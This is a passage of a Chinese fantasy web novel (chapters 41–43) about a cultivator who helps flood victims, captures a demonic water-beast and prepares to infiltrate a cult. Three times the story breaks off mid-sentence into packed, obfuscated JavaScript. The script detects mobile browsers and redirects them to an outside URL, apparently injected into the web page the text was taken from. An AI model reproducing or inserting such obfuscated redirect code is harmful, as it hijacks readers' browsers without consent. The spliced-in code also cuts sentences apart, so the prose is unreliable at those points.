修为要在他之上,起码得是金丹期,眼前这少女看着比自己年纪还小些,他已是天赋异禀,更有碧霞仙居各种仙药加持才在如此年纪有这般修为。 怎么可能? 宁为玉看着她腰间的令牌问道:“逍遥宗的人?” 沈玄宁点点头招呼道:“是的,在下逍遥宗沈玄宁,宁二公子好啊。” “破妄剑的新主?”宁为玉又打量了她一番,突然道:“你的灵兽不修边幅,许是随你。” “啊?”沈玄宁愣了一下,低头看了看自己的衣服。 果然,把大强拎起来抱到怀里的时候这缩小的猪蹄不小心踹到了她的衣服,留下了好几块泥印,她无奈道:“哦这个没事,很快就好。” 话音落,她抬手悬空按在衣服上被弄脏的地方,指尖凝起一缕带着寒气的灵力,淡蓝色的灵力萦绕在衣料上,瞬间将脏污之处冻结成一层薄冰,连带着泥渍都被冻在了冰里。下一秒,薄冰“咔嚓”一声碎裂,随着风一吹便消散无踪,原本的泥印竟半点痕迹都没留下,衣料依旧干净平整。 沈玄宁如法炮制地把大强的猪蹄洗干净了,把大强冻得嗷嗷叫,然后直接把它塞回了锁灵囊里。 做完这一切,沈玄宁抬头看向宁为玉,语气自然道:“宁二公子,要帮忙吗?” 宁为玉:“?” 宁为玉愣了一下,还没反应过来帮忙是何意,就见沈玄宁已抬起手,指尖凝起一缕淡蓝色的灵力,他刚想后退,就感觉到脚面传来一阵冰凉。 一低头,薄冰碎裂,雪白的靴面光洁如新。 那股带着寒气的灵力扫过他袖口沾了泥点的地方,动作极快。 而对面的沈玄宁已举起双手,掌心朝上,十分了然地冲他笑了笑:“诶,我的手没碰到你哈。” 宁为玉眼底的诧异更浓,先前因脏污而起的一些愠怒,倒消散了大半,只是依旧维持着几分矜贵的模样,淡淡道:“多谢。” 沈玄宁道:“不客气。” 周围的仆从们却彻底愣住了,你看我我看你,眼神里满是难以置信,自家公子今日竟就这么跟没事人一样了? 宁为玉终究按捺不住好奇,问道:“你这术法……” “哦,这个啊,你可能学不了。” 沈玄宁用千年凝霜铁修炼了许久,倒是意外让自己的灵气获得了一丝可掌控的冰寒之气。 “你们碧霞仙居多是修行火系术法,丹火炽烈,跟这个犯冲。”沈玄宁从系统空间里面取了一颗小小的凝霜铁,是之前磨棋子剩下的边角料,她都收了起来,做了不少小玩意儿,“不过我这有个小东西。” “——你可以留着玩玩儿。” 沈玄宁捏着那一小块凝霜铁,想起宁二少的洁癖,还是没有直接递过去,她用灵力托着那小块凝霜铁缓缓浮到半空,慢慢送到宁为玉眼前。 “有点小,不过这个东西本就不太适合你修炼,但是用来帮你搓个衣服还是够用的。” 身后的仆从们也是看呆了,搓衣服……谁会让这金尊玉贵的二少爷搓衣服? 宁为玉抿嘴迟疑了一下,然后竟然真的抬起手,指尖轻轻捏住了那块凝霜铁。 “这个是千年凝霜铁,我切下来的一小块。”沈玄宁连忙好心提醒道,“可能有点冷,你小心……” 可惜提醒晚了,千年凝霜铁,入手一瞬间就把宁二公子高贵冷艳的表情给冻裂了。 他下意识地想松手,可指尖却像被冻住般了无法动弹。 凡人五行灵根不全,多数只有一到两种因此无法修炼。能修炼的修士皆是五行灵根俱备,只是这五种灵根中各有优劣。 而碧霞仙居的本家子弟,生来就是为了炼丹,火灵根精纯无比,对冰系事物的感知本就比常人敏锐,更别说千年凝霜铁这类天生克制火系的灵宝,这东西对他的压制几乎是刻在骨子里的。 沈玄宁天生金丹,五行灵根皆是顶尖,当年筑基大圆满时碰到这凝霜铁都被冻得发麻,更别说如今修为还不如她的宁为玉了,不过她当时碰的那块凝霜铁比现在宁为玉手里这个也是大上许多。 见宁为玉半天没动静,沈玄宁连忙上前一步,语气里带着几分歉意:“宁二公子,你没事吧?” 似乎是小心翼翼地闯了个祸呢。 宁为玉像是终于适应了凝霜铁的寒意,指尖不再发僵,他将墨石攥在手心,语气恢复了平日的清冷:“没事。” “没事就行。”沈玄宁小松一口气,立刻转开了话题道:“这是是我们刚才一路过来搜救到的灾民,先带过来的大多是老弱妇孺,还有两个孩子受了点轻伤,辛苦碧霞仙居这边帮忙接收安置一下。” 她又补充道:“那边还有不少灾民没有带过来,我们安顿好这边就准备再过去,后续应该还会送几批人过来。可能还要麻烦你们先预留出地方来。” “诶,好好好。沈姑娘辛苦了。”宁为玉身后一个似是管事的人立刻上前道,“这边的驻扎点也是刚刚搭起来的,空位还多,我这就安排人手。” “多谢了。”沈玄宁对着管事点了点头,对着宁为玉点头致意后随即转身朝着不远处的常玄慈走去。 走到近处低声问道:“五师兄,我们暂时就留在这里?” 常玄慈点点头:“嗯,我们目前先在这里驻守观察一下,看千灯教的动向,他们势力似乎还没扩散到这边缘地区,或许是我们入手的好机会。” 逍遥宗的弟子陆续分到了临时帐篷,没人多歇片刻,很快就投入了救灾。洪水里泡着不少腐物浮尸,喝了这水染上尸毒的灾民竟不在少数,医帐里早已挤满了人,谢疏言也跟着栖霞峰的弟子去了医帐。 沈玄宁回到自己分到的小帐篷里,大致清点了一下赵琳琅之前塞给她的物资,打算去找先前那位管事捐出去一部分。 谁知道刚掀开帐篷帘,就撞上了一个熟人。东方既明,先前没注意到,堂堂七皇子竟然也报名来了这里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16319350|179985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 东方既明快步上前同她打了个招呼:“玄宁,好久不见。” 沈玄宁颔首回应:“东方公子。” “玄宁客气了。”东方既明道,“若是玄宁不介意的话,叫我七郎就好。” 七郎?沈玄宁心里嘀咕了一句,他们好像也没有这么熟啊。 但看着东方既明这自来熟的模样,又想着一直喊东方公子确实有些拗口,便顺着他的话应道:“七郎。” 东方既明眼底的笑意便深了几分,他又问道:“玄宁这是打算去哪儿?” 沈玄宁道:“哦,我打算去找这边的管事问点事,然后继续去搜救灾民。” 东方既明顺势提议:“好,我也正有此意,不如一会儿我们同去?” “倒也行。” 沈玄宁点头应下,反正谢疏言进了医帐帮着处理染了尸毒的灾民,短时间内肯定抽不开身和她一起去了。 两人先去了碧霞仙居管事的帐篷,沈玄宁取了几个储物袋给了那位管事,那位管事看过里面的东西以后立刻千恩万谢。 碧霞仙居虽然豪气冲天,但是粮食调度都需要时间,沈玄宁这一下子拿出这么多东西,倒是让这新搭起来的驻扎点物资宽松了不少。 沈玄宁出了帐篷后,东方既明也从袖中取出一枚莹白的储物玉牌,悄悄递给了那管事,低声嘱咐了几句。 送了东西以后的二人直接御剑往之前标记的地方而去。 东方既明御剑跟在沈玄宁身侧,看着下方浑浊的洪水,忽然开口道:“玄宁心善,黄金楼也确实名不虚传,竟能一下子拿出这么多赈灾物资。” 沈玄宁侧头瞥了他一眼,心里了然,她是黄金楼真正主人的事,虽不至于到处宣扬,却也没刻意隐瞒,以东方既明的身份,能知道并不稀奇。 他此刻这样说话,无非是想捅破这层窗户纸,点明彼此心知肚明的身份。 虽然不知道东方既明为什么突然过来自爆,不过既然如此,沈玄宁也直截了当地回了一句:“七皇子也不差。” 东方既明闻言,忍不住笑了起来:“你果然知道。” 沈玄宁却偏过头:“七皇子,我什么都不知道。” 东方既明见她这般模样,也不戳破,只顺着她的话笑道:“好,那玄宁还是叫我七郎吧。” 沈玄宁想起之前和谢疏言共享神识时的事情,眼下身边正好有东方既明,她突然就想验证一下那神识范围扩大是不是因为谢疏言。 沈玄宁停下了御剑的动作,对着也一脸茫然停下的东方既明道:“七郎,劳烦你伸一下手。” 东方既明愣了一下,虽不知她要做什么,却也没多问,干脆地伸出了手,他的手掌宽大,指节分明,生得倒也是挺好看的。 “闭眼。”沈玄宁指尖微顿,随即轻轻握住了他的手。 几乎是触碰的瞬间,她便立刻放开神识。 果然,神识探查的范围依旧维持着她平日的正常距离,看来先前范围扩大真的是因为谢疏言。 东方既明还陷在金丹期神识还能如此用的震惊里,就听见沈玄宁陡然拔高声音:“七郎小心!” 沈玄宁刚想收回神识,忽然察觉到神识最边缘的地方,一股浓郁的魔气骤然冲天而起,而且朝着他们急速袭来。 眨眼之间竟快要到他们面前。 她下意识地抬手朝着魔气涌动的方向甩去一道灵力,那水中魔物竟然瞬间被轰回了水底。 沈玄宁:“……” 怎么灵力突然就暴击了? 她刚刚也没使这么大劲儿吧? 41.小沈很帅 沈玄宁立刻朝着魔物逃窜的方向御剑追去,破妄剑通体泛着淡蓝色灵力,速度快得几乎化作一道残影,瞬间就消失在东方既明眼前。 东方既明如今修为比之沈玄宁还是差远了,他紧随其后御剑追赶,虽尽力提速,却还是慢了半拍。 等他赶到近处时,才看清那魔物在浑浊的洪水里扭曲挣扎,粗壮的尾巴疯狂拍打水面,竟又是搅动了这片水域,浪头越涌越高。 周围还有灾民,看到这洪水竟像活物一般翻腾起浪,吓得纷纷尖叫。 “啊!水要漫上来了!” “那是什么东西?怎么这么吓人!” “救命啊!仙人,快救救我们!” 沈玄宁踩在破妄剑上,目光紧锁着水中挣扎的魔物,指尖飞快滑过腰间的锁灵囊,借着遮掩从系统空间里取出十枚泛着冷光的小棋子。是她这几年用凝霜铁边角料亲手磨制的,宋玄之发现她吸收了凝霜铁里的寒气以后又带着她研究了不少控制之法,今日正好试试威力。 她手腕一扬,十枚凝霜棋子便如流星般朝着魔物上方飞去,瞬间便自动围成一个圆形,浓郁的寒气从棋子中溢出,让周围的空气都骤然降温。 沈玄宁双手飞快结印,灵力控制着凝霜棋子,随即猛地往下一沉。 十枚凝霜棋子飞速旋转着向外扩散,围成的圆形也随之扩大,将魔物所在的区域都笼罩其中。冰寒之气瞬间凝结成霜,肉眼可见的冰晶顺着棋子的轨迹蔓延,不过瞬息,便将它所在范围内的洪水彻底冻结,连带着那还在挣扎的魔物,都被牢牢冻在了一根巨大的冰柱里。 冰柱矗立在水域中央,寒气四溢,周围翻腾的浪头也瞬间平息,沈玄宁看清了方才在水中挣扎的魔物。 它通体覆盖着暗黑色的鳞片,在阳光下泛着冷硬的光泽,长着蛟龙般棱角分明的头颅,脖颈处的细小鳍状物还保持着挣扎的姿态,身后那条粗壮的尾巴更是布满了尖锐的骨刺。 黑水玄蛟?!! 不可能。 黑水玄蛟可是六阶魔兽,都相当于人类婴变期的修士了,通天之能,翻江倒海,烟州幅员辽阔,只它一个便是造成了这般翻天覆地的水患,寻常金丹修士在它面前连还手的余地都没有,怎么可能被她就这么轻易制服。 虽然沈玄宁否认了自己的猜测,但是这玩意儿的外形看起来和小说里描述的黑水玄蛟简直是一模一样,只是气息有点太弱了,而且体型也小很多。 难道是黑水玄蛟下的崽? 可是黑水玄蛟不是公的吗…… 那被十枚凝霜棋子冻在冰柱里的小玄蛟,似乎察觉到了沈玄宁的打量,它想歪一歪那颗被冻得僵硬的头颅,可惜它全身上下只有一双猩红的眼睛还能转动,便是挣开以后直勾勾地看向她,眼底没有寻常魔物的凶戾,反倒透着几分莫名的呆滞。 东方既明也是有些震惊沈玄宁制服这魔物的速度如此之快,问道:“玄宁,这是何物啊?” “不晓得。” 沈玄宁抬手一握,十枚棋子也随之向内聚拢,原本数丈高的冰柱,也随着她的动作缓缓缩小。不过片刻,那根巨大的冰柱便缩成了沙漏大小,通体晶莹,连里面小玄蛟的轮廓都清晰可见,像件被精心雕琢的冰雕摆件。缩小的冰柱便稳稳落在她掌心,沈玄宁直接将其收进了锁灵囊。 “一会儿带回去给五师兄看看吧。” 常玄慈由于本人过于勤快,师门任务做得够多,见过不少妖魔邪祟了,也算是半个移动的百科全书了。 不过她现在比较关心另外一个问题。 沈玄宁扫了一眼站在旁边的东方既明,先前她甩出的那一记灵力,明明也就用了三成力,结果爆发出了比她想象中还要强的威力。 平A变暴击啊? 因为有了谢疏言的前车之鉴,眼下突然出现灵力暴击,她第一时间就联想到了身边的东方既明,毕竟两次异常,恰好都是在和别人有接触之后发生的,总不能是巧合。 东方既明察觉到她的目光在自己身上停顿了片刻,便是问道:“怎么?” “没事。”沈玄宁摇了摇头,不过眼下这情况也不适合研究。 东方既明见她不愿说,也没追问,他看向不远处的一片断屋:“前面好像还有人呼救,我们过去看看?” “好。”沈玄宁应下。 在这儿附近水域搜救一圈儿以后,沈玄宁照例把人都安顿在了一处,留下了不少物资,然后让大强一趟趟运人,因为它已经认得路了,倒是不用她一直跟着。 一旁的东方既明看着她有条不紊地安排好一切,脸色却难掩几分疲惫,他尚在筑基期,连续这么长时间御剑搜救,灵力和体力早已消耗大半,此刻确实有些发虚。 沈玄宁看在眼里,便开口道:“七郎,你先回营帐休息吧,这里有我就行。” 东方既明也不逞强,点了点头:“那我先回去休整片刻,你若是累了,也不要勉强。” “自然。” 倒不是沈玄宁刻意要强,实在是进入金丹期后,她的身体早已和筑基期时截然不同。 天生金丹,自成于天地灵气。 旁人突破金丹期往往伴随着天地异象,雷劫落下,动静不可谓不大。 可沈玄宁的金丹来得却悄无声息,只是某天夜里突然累了,睡了一觉醒来时就变成了金丹修士,宋玄之是第一个知道的人,见到她也没什么惊讶,只淡淡地说了一句:“哦,金丹了啊。” 金丹作为修士的能量核心与生命本源,能自行吸收天地间的灵气,在体内形成一个循环不息的灵力闭环。这意味着已经进入金丹期的沈玄宁,身体和元神时刻都在被灵力滋养修复。 疲惫对金丹修士而言真的只是一个概念而已了。 再加上晋入金丹期后元神初步凝聚,精神力量远比筑基期时充沛百倍,凡人因神魂弱小而必需的休眠,对金丹修士来说是早已摆脱了的限制。 不过沈玄宁还是习惯定期睡一觉,顺便再吃点东西,到底还是她的现代思维 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16327989|179985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 战胜了一切,再怎么样她都不能抛弃这两件事。 她实在是有些接受不了自己把睡觉吃饭这些一个现代人最需要做的事给进化掉了。 那还是不是人了! 周围负责搜救的逍遥宗弟子已经换了两班,沈玄宁抬手揉了揉眉心,终于觉得有些累了。 这片水域实在辽阔,虽然她效率高,可长时间神识外放探查,此刻也难免觉得精神有些发沉。 她从储物袋里取出一枚空白玉简,将自己探查过后标记的位置,都储存在了玉简里。 转身递给一位附近的女弟子:“这一片我都查过了,玉简里是详细标记,你们按这个找就行,如有危险,立刻传讯。” 这位女弟子虽然年纪比沈玄宁大上许多,但她还是知道沈玄宁修为比她高上许多,她双手接过玉简,连忙点头:“多谢师姐!您也快回去歇歇吧。” 沈玄宁应了一声就回了营帐,眼下已是深夜。 常玄慈已是元婴期大圆满,自然是不需要睡觉的,不过沈玄宁找到常玄慈的帐篷时,却发现里面竟然还坐着不少人。 而长桌的首位,坐着一位气势极盛的女子。 那女子穿着一身金色锦袍,头上是一顶赤金镶宝石的发冠,将乌黑如瀑的长发束起,仅留两缕垂在肩头。她的眉眼和宁为玉有七分相似,却比他多了几分凌厉与威严,明明只是端坐在简陋的木椅上,却像身处高阶殿堂的掌权者般,自带一股凌人的气场 沈玄宁心里立刻有了答案。 这就是宁为玉的姐姐,碧霞仙居宗主宁镜的长女,宁惜月。 也是如今碧霞仙居内部公认的下一任宗主最有力的候选人。 再往后面看,宁为玉果然也在,他没像宁惜月那样坐着,只单手负在身后,站在他姐姐身后。 这临时搭建的帐篷里,桌椅都是最普通的木具,宁愿站着也不坐着,很好,这非常符合宁二公子素来的调性。 谢疏言、陆远声还有顾文竹等人也都在帐中。 “哟,人这么齐?”沈玄宁挑了挑眉,抬手掀开帐篷帘走进去,语气几分随意,打破了帐内略显严肃的氛围。 谢疏言见到她,立刻起身迎了上去,目光飞快地扫过她全身,确认她没受伤后,才松了口气:“你回来了,没事吧?” “我没事啊。”沈玄宁扫了一圈儿帐篷里的人,“不过怎么你们都在这里,出事儿了?” “确实有事。”常玄慈语气变得严肃起来,“今日转移回来的灾民里,有一个竟然沾染了魔气,我仔细分辨过,他身上的那一缕魔气……和我们之前在沧澜江追查到的一模一样。” 沈玄宁闻言,立刻从腰间的锁灵囊里取出那枚被十枚凝霜棋子封印着的小玄蛟,冰雕里,那只形似黑水玄蛟的魔物还保持着那个挣扎的姿态,鳞片下的黑气隐约可见。 她将冰雕轻轻摆在桌上,看向常玄慈:“师兄,你说的,可是这个?” 一时间,帐中人都是惊讶万分地看向她。 42.皇帝小儿 透明的冰层里,小玄蛟的鳞片在烛火下的映照下泛着冷光。 常玄慈拿起冰雕一缕灵力探入其中,原本还算平静的脸色瞬间沉了下来,语气带着几分凝重:“就是沧澜江底那缕魔气!” “这难道是灵州出逃的魔兽?”他顿了顿,又仔细感受了片刻,摇了摇头:“……不对,虽然魔气当属同源,但是这气息太弱了。小师妹,这是哪来的?” 沈玄宁道:“我白日在这附近捉的,它本事倒是不小,翻腾两下就掀起了浪头,烟州水患极有可能与它相关。” “沈姑娘。”坐在首位的宁惜月开口了,她目光落在沈玄宁身上,带着几分客气,“久闻破妄剑新主大名,今日一见,果然名不虚传。” 沈玄宁立刻拱手回礼:“宁大小姐客气了,不过是恰逢其会,换做旁人,也能制服这魔物。” “这冰雕,可否借我一观?”宁惜月道,“或许我认得这东西。” “当然,宁大小姐请。”沈玄宁立刻帮忙把冰雕递了过去,又提醒道,“压制这妖物的是千年凝霜铁,可能有些冰……” “多谢,无妨的。”宁惜月接过了冰雕。 沈玄宁看不透她的修为,不过她倒是厉害,千年凝霜铁对碧霞仙居的人压制不小,冰雕入手她也只是顿了顿。 宁惜月看了半天,突然道:“这是黑水玄蛟。” 沈玄宁正是需要有个人把黑水玄蛟的名字引出来,她原本还在琢磨,若是帐内没人认得,自己就得找个曾在什么魔族野史之类的见过类似记载的借口,把黑水玄蛟科普一下。 没成想宁惜月竟直接点破了来历,倒省了她一番功夫。黑水玄蛟是魔族禁地的守护兽,当年被魔族以秘术封印,仙门典籍里关于它的记载少得可怜,大多只是只言片语的传说,宁惜月竟能一眼认出。 “不过,这并不是真正的黑水玄蛟。”宁惜月又道,“这是根据黑水玄蛟投射出来的魔物,真正的黑水玄蛟起码在六阶之上。” 鹤穗不解道:“投射出来的?可是这不也像是虚影。” “不是虚影,它是真实存在的,不过是复刻。”宁惜月拿起冰雕,轻轻转了半圈,让众人看清魔物脊背处那道细微的棱骨,“真正的黑水玄蛟脊背有三道向上的棱骨。” 众人凑上前看了看,这小玄蛟也有棱骨,不过却是向下的。 “虽然这并不是本体,但是绝对有人已经捕获了黑水玄蛟。”她顿了顿,目光扫过帐内众人,继续道:“这魔物的本体,应该是某种形似蛟龙的低阶妖兽,比如水蛇、鲵兽等等,有人将黑水玄蛟捕获后,再进行形态复刻,才让它看起来像黑水玄蛟。” 陆远声问道:“什么东西有这样复刻形态的能力?” 帐内一时安静下来,众人都在思索。顾文竹皱着眉,语气带着几分不确定:“难道是……蜃楼镜?” “不错,应该是此物。”宁惜月闻言,看向顾文竹的眼神里多了几分意外,显然没料到他也知道这件魔族至宝,“蜃楼镜是上古魔族流传下来的一件宝物,多年前就从魔族禁地失踪,踪迹全无。” 她顿了顿,动作极缓地放下冰雕,显然这千年凝霜铁对她并不是全无影响:“蜃楼镜能将生灵的形态、气息完整地拓印下来,只要有足够的魔气或灵力催动,就能将它投射到其他生灵身上,让其在外形、气息还有能力上与原型有高度相似。这只魔物看着像黑水玄蛟,修为和威压却连真正玄蛟的万分之一都没有。” 沈玄宁听她言明关键,心中大喜,面上却是不显然后把大方向往主线上带:“抓了黑水玄蛟的,会不会就是千灯教?” “极有可能。”宁惜月点点头,“烟州水患,千灯教的反应太快了,这绝不是巧合。他们定是提前知道水患会来,甚至……水患本身就和他们脱不了干系。” 沈玄宁见状,立刻顺势提议道:“贵派失踪的弟子至今下落不明,烟州水患的源头也隐隐指向千灯教,可我们现在只知道他们在暗中行事,对他们的目的一无所知,若想摸清这一切,最好的办法就是我们混到千灯教内部去。毕竟只有知道他们想干什么,才能找出破解方法。” 陆远声今日去了镇上探查,他道:“镇上已经出现了千灯教的踪迹,他们的势力已经在往这个方向发展了,若是想趁机混进去,倒是个好机会。” 鹤穗道:“嗯,那我们可以扮作百姓,拜入千灯教内。” 谢疏言道:“只是千灯教若是有人修为比我们高,那就藏不住身份了。” “这个不必担心。”宁惜月开口了,她屈指轻轻叩了两下桌面,众人便见各自面前的桌案上,突然多了一枚通体莹白的玉扣。 宁惜月拿起一枚玉扣解释道,“此法宝能完全隐匿修士的灵力波动,化神之下无法勘破这层伪装,只要佩戴此物,面上与凡人无异。” 沈玄宁刚想问谁去? 顾文竹便是道:“那便没问题了。只是这事儿……谁去,还得仔细斟酌。如今已失踪这么多弟子,可潜入之事风险极大,去的人要有足够修为和应变能力。” 沈玄宁瞥了一眼陆远声,哪怕不知道原著情节看他表情就知道他要去,便是立刻报名道:“我愿意去!” 果然下一秒就听到常玄慈道:“我和阿声一起去,嗯,小师妹也一起去。” “阿宁去,我自然是也要去的!”鹤穗立刻跟上。 谢疏言也道:“我也去。” 宁惜月倒没说话,她清楚自己的弟弟,宁二公子这调性,让他扮作灾民混到千灯教里去怕是不可能了。 沈玄宁拦下了常玄慈:“五师兄,这里你修为最高,你还是在外接应我们比较好,若是有危险,我会给你传讯的。” 常玄慈刚想说话,此时一个看起来完全不可能的人开口了。 宁为玉道:“我也同去。” 众人齐刷刷看向宁为玉,宁惜月也不可置信地回过头看向她的小弟。 “嗯,我们是要扮灾民哦,自然不可能穿得光鲜亮丽地去……而且重点是吧,这衣服肯定也干净不了。”沈玄宁斟酌着用词,“宁二公子,你确定?” 没成想,宁为玉只是冷冷地“嗯”了一声。 “既如此,我也一道去吧。”顾文竹又说了个名字,“东方既明,他如何?” “东方既明?皇室第七子。”宁惜月一听东方既明这个名字,立刻就摇头,语气是明确的拒绝:“还是算了。” 她解释道,“他的身份太过敏感。如今仙门与庙堂的关系本就颇为紧张。皇室忌惮仙门修士动辄百年的寿元、又有通天之能的修为,日日担心我们哪天会越过朝堂,插手俗世政务,动摇了他们的江山根基。当然仙门这边,自然也不可能被朝堂的条条框框掣肘。” 修士修 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16338724|179985||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行讲究顺应本心、突破桎梏,与凡人遵循的礼法规矩本就不同,总不能为了迎合俗世,耽误了修行大道。 “若是真打起来,我们也不可能真的对那些无辜的凡人动手,这种时候,没必要给皇室那些心思活络的人寻到挑事的由头。”宁惜月端起桌上的茶杯,指尖漫不经心地划过杯沿,“如今的上头坐着那位今年已五十有余,凡人的寿元有限,把这一任自不量力的皇帝小儿熬到寿终正寝便是。” 这话听着直白,甚至带着几分俯视的意味。尤其是宁惜月一张二十岁出头的脸,开口却称年过半百的皇帝为小儿,违和感十足。 可帐内众人却没觉得不妥,对修仙者而言,凡人的数十年的寿命不过是弹指一挥间,筑基修士寿元已有二百载,金丹修士更是能达五百岁。在宁惜月这样已达元婴期的修士眼里,五十多岁的皇帝,确实与小儿无异。 这本就是修仙者与凡人之间,因寿命天堑而产生的天然隔阂。 于是再三商讨后便是定下了潜入千灯教的计划。 由顾文竹领头,同行的除了沈玄宁、谢疏言、陆远声和鹤穗,还有宁为玉以及碧霞仙居一名金丹后期的弟子。 不过要出发还需再等两日,等碧霞仙居打探消息的人回来。期间沈玄宁他们也没闲着,一直帮着救灾。东方既明身为皇子,他平日里也没什么架子,此次搜救倒也尽心尽力。 沈玄宁有些不好意思地告诉他明日她还有其他事要做,就不能来了。 东方既明随即了然地笑了笑,语气平和:“我明白的。” 沈玄宁自然是不能直接告诉他你们皇室的人不招待见,不过东方既明倒是自己心里清楚。 东方既明沉默了片刻,语气十分诚恳:“玄宁,我知道父皇之前为了制衡仙门,做了些让你们不痛快的事,朝堂上也总有人对仙门指指点点。但我来逍遥宗修行,真的不带任何政治目的,我母妃只是宫里一个不起眼的贵人,我在皇室本就不受待见,从来没想过争什么。我只是想做一些自己喜欢的事情,我在玲珑峰过得,真的很开心。” 沈玄宁看着他眼底的坦诚,心里微动,点了点头:“嗯,我知道。” 东方既明像是松了口气,从袖中取出一支玉簪。他垂下眼睛,将玉簪递过去:“这是我来玲珑峰以后,做成的第一个法宝,里面的聚灵阵法是我自己画的,有些防身之用。我知道你修为比我高不少,但这是我的……心意。” 他顿了顿,声音低了些:“我也知道,你若是不想要……” “没有没有,多谢了。”沈玄宁立刻打断他的话伸手接过了玉簪。她最看不得人这般小心翼翼地卖惨,更何况东方既明在原著里确实是没做什么。 她看了看这玉簪里的防御阵法,确实是画得还算不错,便是笑着道,“素问师叔对你十分用心。” “是,师尊待我很好。”东方既明见她收下,脸上露出一丝笑意,又叮嘱了一句万事小心,这才离开。 待他走后,沈玄宁回到自己的帐中,将玉簪放在桌上,神识细细密密地来回扫了好几次。 果然—— 聚灵阵法之下,藏着一丝极其微弱的灵力波动,像是某种用来定位的印记,不仔细探查根本发现不了。 沈玄宁指尖轻轻一捻,那丝灵力波动便被彻底屏蔽。 她拿着玉簪轻轻叹了口气后收了起来。 43.千灯燃起 众人出发前倒是做了一番伪装。 倒不至于真的穿得破破烂烂的,但是到底还是要朴素些,这绫罗绸缎,锦衣华服的肯定是不行。 不过都换完了衣服以后,沈玄宁还是站在谢疏言面前看了好半天,又围着他转了两圈,沉思道:“这会不会长得太好看了,完全不像逃难的啊。” 顾文竹道:“我提醒下,你们几个不是逃难的,你们是治水大师。” “好的,治水大师。”沈玄宁点点头,“但是大师这也太好看了。” 顾文竹:“……” 虽然穿着最素净的粗布衣衫,可那张脸依旧清俊温润,站在人群里,谁都要多看一眼。 沈玄宁夸得如此直白,谢疏言忍不住抬眼冲她笑了笑,耳尖微微泛红。 结果沈玄宁转头看到一位更夸张的—— 给宁为玉准备的衣服已是最干净的一套,他脊背挺得笔直,像穿着锦袍站在仙宫大殿似的,双目紧闭显然是在极力按捺对这身衣物的嫌弃,偏生宁二少也是一张极其惹眼的脸,果不其然又变成了那副被迫下凡的贵公子模样。 宁惜月在一旁啧啧称奇,她家小弟能把这种衣服穿到自己身上去,她觉得已经是非常巨大的进步了。 顾文竹看着这群生得十分惹人注目的人,虽不是故意的,但是他还是在旁边沉默了相当一会儿。 “还好我带了东西。”他从弟子令牌里取了一瓶药丸出来,“这是我管柳师兄拿的,吃了可以让你们略微改变下外貌,比如让眉眼显得粗钝些,肤色黯一点儿,有效期是一个月,能让你们最起码都长得低调些,不容易引人注目。” 沈玄宁率先服了丹药,不过几分钟容貌就发生了变化,这丹药倒是神奇,乍一看其实没有太大的变化,但就是变得不一样了。 熟悉她的人若是仔细看看还是能瞧出来是她,不过确实是把她这极盛的容貌遮掩得低调平凡了许多。 “管用管用。”鹤穗拉着沈玄宁上下看了看,“确实不像你了。” “是吗?”沈玄宁掏了面镜子出来看了看自己,还真是一下子有点认不出来的感觉,便是催着其他人赶紧服药。 等药效稳固以后众人便是按照计划,分成了两队悄悄出发。 沈玄宁和谢疏言、冷玄明还有宁为玉去揭千灯教的治水告示,顾文竹则带着陆远声、鹤穗以及碧霞仙居的那名弟子由灾民那边入手加入千灯教。 千灯教为了表现自己心系灾民,也同官府和碧霞仙居一样对外发了招揽能人异士的告示。 沈玄宁他们揭了告示,除此之外还有不少人也揭了榜,不知是真的有本事,还是想单纯进去混个口饭。 正好人多,沈玄宁他们就混在人群里跟着引路的千灯教弟子一道走。 离这里最近的镇子叫望虞津,也是这次大水受灾比较严重的区域,因为在烟州临近边缘的区域,比烟州中心区域贫瘠许多,所以这里的灾民受到的救助也比较少。 走了约莫半个时辰,已是上了山。 沈玄宁歪了歪头瞥了一眼谢疏言,后者冲她轻轻摇头。 千灯教将望虞津分教的据点设在了山上,这山上立着座青瓦红墙的古寺,名叫漱音寺。 漱音寺依托山势建在陡峭的平台上,既能俯瞰望虞津镇被洪水淹没的全貌,又因地势高耸,成了整个区域少数没被水灾冲击的地方,隐蔽又安稳。 他们跟着引路的千灯教弟子刚走到寺门前,就见寺内快步走出几人,步伐整齐,气息凝敛,与之前见过的普通教众截然不同。 而且他们穿的也不是普通教众的灰布长袍,是千灯教更显规整的统一服饰。上身是利落的黑色劲装,外罩一层半透的墨色轻纱,下裳则是深邃的靛蓝色,裤脚收在黑色短靴里,显得干练利落,脸上还戴着黑色的半截面甲。 其中领头的那名女子则用白色轻纱覆面,轻纱边缘缀着细碎的银铃,走动时只闻铃响不见面容,唯有一双眼睛从纱后露出来,瞳孔像是蒙着层薄雾,没有半分神采,看向众人时带着全然的疏离。 